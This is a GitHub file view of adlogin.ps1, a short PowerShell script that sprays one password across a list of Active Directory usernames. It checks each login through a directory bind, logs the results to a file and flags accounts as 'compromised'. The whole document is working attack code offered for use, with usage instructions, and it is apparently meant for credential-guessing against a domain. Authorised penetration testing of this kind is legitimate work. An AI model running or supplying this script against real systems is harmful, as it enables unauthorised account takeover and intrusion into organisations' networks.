-
Notifications
You must be signed in to change notification settings - Fork 118
/
adlogin.ps1
32 lines (29 loc) · 873 Bytes
/
adlogin.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Function adcheck {
param($u,$p)
(new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null
}
Function adlogin {
param($userlist,$domain,$pswd)
if (!$pswd) {
Write-Host "usage: adlogin <userlist.txt> <domain> <password>"
Write-Host " e.g.: adlogin users.txt domain.com P@ssw0rd`n"
return
}
$results = ".\adlogin.$pswd.txt"
foreach($line in gc $userlist) {
$x = (gc $results -EA SilentlyContinue | sls "^$line,.*,True$")
if ($x) {
Write-Host "user $line already compromised"
continue
}
$x = (gc $results | sls -CaseSensitive "^$line,$pswd,")
if ($x) {
Write-Host "user $line with $pswd already tried"
continue
}
$output = "$line,$pswd,"
$output += adcheck "$domain\$line" "$pswd"
Write-Host "$output"
echo $output >>$results
}
}